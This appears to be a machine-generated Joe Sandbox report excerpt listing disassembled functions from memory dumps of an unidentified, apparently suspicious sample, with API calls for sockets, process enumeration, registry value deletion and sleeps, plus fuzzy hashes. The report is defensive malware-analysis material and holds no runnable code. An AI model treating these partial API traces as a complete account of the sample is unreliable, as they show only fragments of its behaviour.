Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: c11137feeac243ddddcf5d0cd71b4ab0059f2c3ba62eeb55c2b7bd41880d4e8e
Instruction ID: 1c0c6671c9ac45b103591b610980bfa617c447502645336d45b33e0eca07b541
Opcode Fuzzy Hash: c11137feeac243ddddcf5d0cd71b4ab0059f2c3ba62eeb55c2b7bd41880d4e8e
Instruction Fuzzy Hash: 3C11D7B1C00249DFDB00EFA4D589BAD7BB2FF04314F1085A9E868A7250DB399A15EF54

Function 03784885 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 03784891

Part of subcall function 03783E5B: __getptd_noexit.LIBCMT ref: 03783E5E
Part of subcall function 03783E5B: __amsg_exit.LIBCMT ref: 03783E6B

__amsg_exit.LIBCMT ref: 037848B1
__lock.LIBCMT ref: 037848C1
InterlockedDecrement.KERNEL32(?), ref: 037848DE
_free.LIBCMT ref: 037848F1
InterlockedIncrement.KERNEL32(03A01658), ref: 03784909

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: c81e7dbe2b1380e14a052412eb8e1506e3245f4cd85bae099a6e90cf0dae973d
Instruction ID: d92595acb4106211ced210fe06455943ff8b0ace643545c6d7990eef2a02c72b
Opcode Fuzzy Hash: c81e7dbe2b1380e14a052412eb8e1506e3245f4cd85bae099a6e90cf0dae973d
Instruction Fuzzy Hash: 7601D635D81B53EBFB20FF26940875DB3A0BF04B10F09461AD910AB280CBB45442DBD2

Function 02C6D9BE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02C6D9CA

Part of subcall function 02C6990F: __getptd_noexit.LIBCMT ref: 02C69912
Part of subcall function 02C6990F: __amsg_exit.LIBCMT ref: 02C6991F

__amsg_exit.LIBCMT ref: 02C6D9EA
__lock.LIBCMT ref: 02C6D9FA
InterlockedDecrement.KERNEL32(?), ref: 02C6DA17
_free.LIBCMT ref: 02C6DA2A
InterlockedIncrement.KERNEL32(03031658), ref: 02C6DA42

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 203738294b941d6d9212e94a88443409c9a5dbe14f5b66766454be2c429167d4
Instruction ID: f607e6124e5a8fd8cc8969f900acf85c188b0ed843b911756848b63834733a44
Opcode Fuzzy Hash: 203738294b941d6d9212e94a88443409c9a5dbe14f5b66766454be2c429167d4
Instruction Fuzzy Hash: 2901F572F857219BD720AF6594CC77DB362BF40710F054205D822A7280CB34A655EFD6

Function 02C648C7 Relevance: 9.0, APIs: 6, Instructions: 44sleepsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 02C648E1
WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 02C648EC
Sleep.KERNEL32(00000258,?,E484B528,?,?,?), ref: 02C648F9
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 02C64914
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 02C6491D
Sleep.KERNEL32(0000012C,?,E484B528,?,?,?), ref: 02C6492E

Part of subcall function 02C63F60: GetCurrentThreadId.KERNEL32 ref: 02C63F65
Part of subcall function 02C63F60: send.WS2_32(?,02C77440,00000010,00000000), ref: 02C63FC6
Part of subcall function 02C63F60: SetEvent.KERNEL32(?), ref: 02C63FE9
Part of subcall function 02C63F60: InterlockedExchange.KERNEL32(?,00000000), ref: 02C63FF5
Part of subcall function 02C63F60: WSACloseEvent.WS2_32(?), ref: 02C64003
Part of subcall function 02C63F60: shutdown.WS2_32(?,00000001), ref: 02C6401B
Part of subcall function 02C63F60: closesocket.WS2_32(?), ref: 02C64025

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Close$EventHandleObjectSingleSleepWait$CurrentExchangeInterlockedThreadclosesocketsendshutdown
String ID:
API String ID: 1019945655-0
Opcode ID: b991122375e3451f4354ed1a68d2ab14b491a1e5faac29fdbef1d4ecec269b5c
Instruction ID: d06a15bb676ec2425f6a6a560d1a7f2d223b2dc31b8cbbd2e999b29417f0358b
Opcode Fuzzy Hash: b991122375e3451f4354ed1a68d2ab14b491a1e5faac29fdbef1d4ecec269b5c
Instruction Fuzzy Hash: 41F090322046045BC224EBA9DCC4E4AF3E9EFC9760B204B09E26987690CA71E805CBE0

Function 03779BA0 Relevance: 9.0, APIs: 6, Instructions: 42COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 03779BD2
EnterCriticalSection.KERNEL32(0379FB64,?,?,?,03779B7B), ref: 03779BE3
EnterCriticalSection.KERNEL32(0379FB64,?,?,?,03779B7B), ref: 03779BF8
GdiplusShutdown.GDIPLUS(00000000,?,?,?,03779B7B), ref: 03779C04
LeaveCriticalSection.KERNEL32(0379FB64,?,?,?,03779B7B), ref: 03779C15
LeaveCriticalSection.KERNEL32(0379FB64,?,?,?,03779B7B), ref: 03779C1C

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave$DeleteGdiplusObjectShutdown
String ID:
API String ID: 4268643673-0
Opcode ID: 130077e5be1142c12f0a709ed41b338bb99cfd8dc57e9b55a50b24901cff67ce
Instruction ID: 4d0cd81e7e4b7491d17b6e917e77d02c631c91f7086f3aed2dd4a3fc27163e96
Opcode Fuzzy Hash: 130077e5be1142c12f0a709ed41b338bb99cfd8dc57e9b55a50b24901cff67ce
Instruction Fuzzy Hash: A101C8B1901709EFDF14EF7AA894415BBA4FA4962637587AFE118CA246C376C403CF94

Function 037748D0 Relevance: 9.0, APIs: 6, Instructions: 36sleepsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 037748E1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 037748EC
Sleep.KERNEL32(00000258), ref: 037748F9
CloseHandle.KERNEL32(?), ref: 03774914
CloseHandle.KERNEL32(?), ref: 0377491D
Sleep.KERNEL32(0000012C), ref: 0377492E

Part of subcall function 03773F60: GetCurrentThreadId.KERNEL32 ref: 03773F65
Part of subcall function 03773F60: send.WS2_32(?,037949C0,00000010,00000000), ref: 03773FC6
Part of subcall function 03773F60: SetEvent.KERNEL32(?), ref: 03773FE9
Part of subcall function 03773F60: InterlockedExchange.KERNEL32(?,00000000), ref: 03773FF5
Part of subcall function 03773F60: WSACloseEvent.WS2_32(?), ref: 03774003
Part of subcall function 03773F60: shutdown.WS2_32(?,00000001), ref: 0377401B
Part of subcall function 03773F60: closesocket.WS2_32(?), ref: 03774025

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Close$EventHandleObjectSingleSleepWait$CurrentExchangeInterlockedThreadclosesocketsendshutdown
String ID:
API String ID: 1019945655-0
Opcode ID: d72eefbd91eca07d23b3898d45c80b1d5ed4d6834e74c92312c178edcca737b5
Instruction ID: a8849f8e8b033d4ee3f8f59bc8bf7f6cce1d8885c3b9e00b7d2d2858b44a4e1b
Opcode Fuzzy Hash: d72eefbd91eca07d23b3898d45c80b1d5ed4d6834e74c92312c178edcca737b5
Instruction Fuzzy Hash: DCF036763046096BC614FB69DC84D46F3E9EFC9720B158B09E26587295CA75E802CBA0

Function 03773300 Relevance: 9.0, APIs: 6, Instructions: 32synchronizationsleepCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 03773311
Sleep.KERNEL32(00000258), ref: 0377331E
InterlockedExchange.KERNEL32(?,00000000), ref: 03773326
WaitForSingleObject.KERNEL32(?,000000FF), ref: 03773332
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0377333A
Sleep.KERNEL32(0000012C), ref: 0377334B

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ObjectSingleWait$Sleep$ExchangeInterlocked
String ID:
API String ID: 3137405945-0
Opcode ID: 45e04b75a5e4fe16a67f5a7efe2c4ff462f5948b0df843ef8d515748db0e4d98
Instruction ID: 1a44b3296a0a431e0aebe0dd261713a6361de137a2e9e790def0ead4bcff2050
Opcode Fuzzy Hash: 45e04b75a5e4fe16a67f5a7efe2c4ff462f5948b0df843ef8d515748db0e4d98
Instruction Fuzzy Hash: B6F089712043086BD610FBA9DC84D46F3E8EF85334B114B09F221872D5CAB4E801CB60

Function 0379095B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 0379096E

Part of subcall function 037908C9: ___BuildCatchObjectHelper.LIBCMT ref: 037908FF

_UnwindNestedFrames.LIBCMT ref: 03790985
___FrameUnwindToState.LIBCMT ref: 03790993

Strings

csm, xrefs: 0379095D
csm, xrefs: 0379096A, 0379097F, 03790992, 037909B0, 037909C0

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: a4ec08a577bcb042cc7356b16b645f83b0b4d35d15726398ffe3570c0dbe416a
Instruction ID: 27a647580fef62f6ba35aaafcbcfe706788075d8c73d3895f07dc65d5860a00b
Opcode Fuzzy Hash: a4ec08a577bcb042cc7356b16b645f83b0b4d35d15726398ffe3570c0dbe416a
Instruction Fuzzy Hash: CB01FB75411209BBEF12AF51EC48EAA7F6AEF09350F048115FD5859120D736D9B1DBA0

Function 02C73A50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02C73A63

Part of subcall function 02C739BE: ___BuildCatchObjectHelper.LIBCMT ref: 02C739F4

_UnwindNestedFrames.LIBCMT ref: 02C73A7A
___FrameUnwindToState.LIBCMT ref: 02C73A88

Strings

csm, xrefs: 02C73A5F, 02C73A74, 02C73A87, 02C73AA5, 02C73AB5
csm, xrefs: 02C73A52

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction ID: 6d0c937d8d4da314476303535025ad0f215f414fb67b7e40794d856fe13961fa
Opcode Fuzzy Hash: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction Fuzzy Hash: 8601EF31041149BBDF12AFA1CC49EAA7E6AFF48364F008054BD5816220DB369AB1EBA1

Function 0377B7E9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Console,00000000,00000002), ref: 0377B800
RegDeleteValueW.ADVAPI32(?,IpDatespecial), ref: 0377B810
RegCloseKey.ADVAPI32(?), ref: 0377B81B

Strings

Console, xrefs: 0377B7F6
IpDatespecial, xrefs: 0377B80A

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Console$IpDatespecial
API String ID: 849931509-1840232981
Opcode ID: d2064810311a183614618dd7380c5f61b938c1e2c1ccb04b7d8ba20b609359b6
Instruction ID: 69493ed3f4c40dad512f9d39043046074e7fe237d0544f6a41d3e1f327fcd22c
Opcode Fuzzy Hash: d2064810311a183614618dd7380c5f61b938c1e2c1ccb04b7d8ba20b609359b6
Instruction Fuzzy Hash: 57E0DF72204208BFE210A764AC0BF997354E788311F008A4FF684A11428155A001C765

Function 0377B990 Relevance: 7.6, APIs: 5, Instructions: 116processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,A0516FA3), ref: 0377B9DA
_memset.LIBCMT ref: 0377B9FB
_memset.LIBCMT ref: 0377BA4B
Process32FirstW.KERNEL32(00000000,?), ref: 0377BA65
Process32NextW.KERNEL32(00000000,0000022C), ref: 0377BAB7

Part of subcall function 0377F707: _malloc.LIBCMT ref: 0377F721

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Process32_memset$CreateFirstNextSnapshotToolhelp32_malloc
String ID:
API String ID: 2416807333-0
Opcode ID: de6abc87a319a8ec84a999be09a8dc58ce3af9e668406e5e0110b537e2f3920d
Instruction ID: c2b88df49afc68fb75131c3908d39ce58911bada44923ee62f252c80403e85fc
Opcode Fuzzy Hash: de6abc87a319a8ec84a999be09a8dc58ce3af9e668406e5e0110b537e2f3920d
Instruction Fuzzy Hash: E941E771940205EFEF20FF60CC89FAAB7B8EF15714F048299E9159B2C1E7759A41CBA1

Function 03773CA0 Relevance: 7.6, APIs: 5, Instructions: 98networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000598,00000000), ref: 03773CBF
SetLastError.KERNEL32(00000000,?,?,0377399F,?,?,00000000,000000FF,00000000), ref: 03773CFA
GetLastError.KERNEL32(00000000), ref: 03773D45
WSAGetLastError.WS2_32(?,?,0377399F,?,?,00000000,000000FF,00000000), ref: 03773D7B
WSASetLastError.WS2_32(0000000D,?,?,0377399F,?,?,00000000,000000FF,00000000), ref: 03773DA2

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: ErrorLast$recv
String ID:
API String ID: 316788870-0
Opcode ID: bdbea695817fed8ddf9f25515e1eb11ba49a708f4ccc95a62241970b24128caf
Instruction ID: 1a63dda92c0de5fa6fc990b5e857751883bed34417d3b1a38497ee2e9ff8fdbc
Opcode Fuzzy Hash: bdbea695817fed8ddf9f25515e1eb11ba49a708f4ccc95a62241970b24128caf
Instruction Fuzzy Hash: FD31047A6042009FFF24EF68D8C8B6977A9FB45320F140267ED09DB28AD731D8819AD1

Function 02C63CA0 Relevance: 7.6, APIs: 5, Instructions: 98networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000598,00000000), ref: 02C63CBF
SetLastError.KERNEL32(00000000,?,?,02C6399F,?,?,00000000,000000FF,00000000), ref: 02C63CFA
GetLastError.KERNEL32(00000000), ref: 02C63D45
WSAGetLastError.WS2_32(?,?,02C6399F,?,?,00000000,000000FF,00000000), ref: 02C63D7B
WSASetLastError.WS2_32(0000000D,?,?,02C6399F,?,?,00000000,000000FF,00000000), ref: 02C63DA2

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: ErrorLast$recv
String ID:
API String ID: 316788870-0
Opcode ID: 7b82938a0c16c7b04a6ace53f3cf30b30904dfb0ecb31bff336cd243d240c5bf
Instruction ID: 84f2283b3b2adc0bfd1690c15f73e61de90c3df7ba5669cbe614ec153efecdfd
Opcode Fuzzy Hash: 7b82938a0c16c7b04a6ace53f3cf30b30904dfb0ecb31bff336cd243d240c5bf
Instruction Fuzzy Hash: 08312972A142409FEB249F28D8CCB79376AFB85724F5006A6FE05CF285D771D884CB91

Function 03780EEB Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 03780EF9

Part of subcall function 0377F673: __FF_MSGBANNER.LIBCMT ref: 0377F68C
Part of subcall function 0377F673: __NMSG_WRITE.LIBCMT ref: 0377F693
Part of subcall function 0377F673: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,03784500,00000000,00000001,00000000,?,03788DE6,00000018,03796448,0000000C,03788E76), ref: 0377F6B8

_free.LIBCMT ref: 03780F0C

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: a2659ee491ecd8da7bfca0ff9d550238bcd63b9d7d2a4efbc330dfec365cbfdc
Instruction ID: b2b8ce2e6f1140c67ee8ad1983d8e62a4c6317c116d6b3431b33fe75a7797e53
Opcode Fuzzy Hash: a2659ee491ecd8da7bfca0ff9d550238bcd63b9d7d2a4efbc330dfec365cbfdc
Instruction Fuzzy Hash: 8B112336488B19FECF22FF74A808A5A37999F412A0B14C526F859DF150DB3484458B90

Function 02C6E5D7 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02C6E5E5

Part of subcall function 02C66E83: __FF_MSGBANNER.LIBCMT ref: 02C66E9C
Part of subcall function 02C66E83: __NMSG_WRITE.LIBCMT ref: 02C66EA3
Part of subcall function 02C66E83: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,02C69FB0,00000000,00000001,00000000,?,02C6C0CF,00000018,02C77C70,0000000C,02C6C15F), ref: 02C66EC8

_free.LIBCMT ref: 02C6E5F8

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 011b9d5b009cd2c36ca38d3ccfb000c3b16e6ac8df6a92c9f526d2a5aa1c0dac
Instruction ID: fe287889cd500d927fe3ad4fefbba9aa44a87d31604627d557734af81c57222a
Opcode Fuzzy Hash: 011b9d5b009cd2c36ca38d3ccfb000c3b16e6ac8df6a92c9f526d2a5aa1c0dac
Instruction Fuzzy Hash: E711E936944618ABCB222F74AC8CF7E3796EF803A4B204927F8599B141EF34C9549F94

Function 03772C10 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 03772C3F
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 03772C55
TranslateMessage.USER32(?), ref: 03772C64
DispatchMessageW.USER32(?), ref: 03772C6A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 03772C78

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsTranslateWait
String ID:
API String ID: 2015114452-0
Opcode ID: ee7045a5b7baa79b2ebae534df70173a444b8d507c42b5a6778bbcdb2d78a009
Instruction ID: d84d9d35c29c7b31b45b01e8b3a37d22f2fc8ada44efda793502893ce8fc863b
Opcode Fuzzy Hash: ee7045a5b7baa79b2ebae534df70173a444b8d507c42b5a6778bbcdb2d78a009
Instruction Fuzzy Hash: 4D018672A5430DB6FB10E7949C81FFA73ACEB14B10F504A12FB10EA0C6DAA5A40187A9

Function 02C62BD0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 02C62BFF
PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 02C62C15
TranslateMessage.USER32(?), ref: 02C62C24
DispatchMessageW.USER32(?), ref: 02C62C2A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 02C62C38

Memory Dump Source

Source File: 00000004.00000002.4154931234.0000000002C61000.00000020.00001000.00020000.00000000.sdmp, Offset: 02C60000, based on PE: true

Associated: 00000004.00000002.4154846887.0000000002C60000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155188121.0000000002C75000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155312703.0000000002C79000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155545772.0000000002C7F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4155630975.0000000002C81000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2c60000_UNK_.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsTranslateWait
String ID:
API String ID: 2015114452-0
Opcode ID: d43c4ad9a0578be41ae760cffe878e55fc7441c6041b94c46f6c0cc46af465b9
Instruction ID: 0f2de76a8d49b36aa74bd30038605dd40bab090c328b2e4b21dbdc90ba63b239
Opcode Fuzzy Hash: d43c4ad9a0578be41ae760cffe878e55fc7441c6041b94c46f6c0cc46af465b9
Instruction Fuzzy Hash: 6501F972E8030977F7209AA59C85FBA776CEB44B50F504A11FF05EA0C4DBA0E40487B5

Function 03774B70 Relevance: 7.5, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000), ref: 03774B83
EnterCriticalSection.KERNEL32(?,?,00000000), ref: 03774B8D
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 03774BA0
LeaveCriticalSection.KERNEL32(?,?,00000000), ref: 03774BA3

Memory Dump Source

Source File: 00000004.00000002.4159652948.0000000003770000.00000040.00001000.00020000.00000000.sdmp, Offset: 03770000, based on PE: true

Associated: 00000004.00000002.4159652948.00000000037A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3770000_UNK_.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: bfe7eba7488538b6a20ce25de4375fb248b06f2d25798f535c60123f5988ac8d
Instruction ID: 0105d52a3dd0fdbd5626c6d9b560b2bbede03f246c8df421fcfe92ccbd4d66d6
Opcode Fuzzy Hash: bfe7eba7488538b6a20ce25de4375fb248b06f2d25798f535c60123f5988ac8d
Instruction Fuzzy Hash: 3A0184762043185BDB20FB3AFCC8B5BB7E8EB88614F054959E10687104C738EC46CA60

Function 02BE367A Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 02BE36A2

Part of subcall function 02BE3232: __getptd.LIBCMT ref: 02BE3240
Part of subcall function 02BE3232: __getptd.LIBCMT ref: 02BE324E

__getptd.LIBCMT ref: 02BE36AC

Part of subcall function 02BD98E6: __getptd_noexit.LIBCMT ref: 02BD98E9
Part of subcall function 02BD98E6: __amsg_exit.LIBCMT ref: 02BD98F6

__getptd.LIBCMT ref: 02BE36BA
__getptd.LIBCMT ref: 02BE36C8
__getptd.LIBCMT ref: 02BE36D3

Part of subcall function 02BE32D7: __CallSettingFrame@12.LIBCMT ref: 02BE3323

Part of subcall function 02BE37A0: __getptd.LIBCMT ref: 02BE37AF
Part of subcall function 02BE37A0: __getptd.LIBCMT ref: 02BE37BD

Memory Dump Source

Source File: 00000004.00000002.4154101487.0000000002BD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02BD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2bd0000_UNK_.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: 2f8cf262afac08e33e01d992e0837c391acebccb040fbf70ddcfda8d5a1f53bb
Instruction ID: 42d591befb58631b1973c4ee1c3dff63cea492f20337e83e041cd9ec6e6bfa3c
Opcode Fuzzy Hash: 2f8cf262afac08e33e01d992e0837c391acebccb040fbf70ddcfda8d5a1f53bb
Instruction Fuzzy Hash: D811D4B1C00209DFDF00EFA4C945AEEBBB1FF08314F1085A9E855AB250EB39AA55DF50

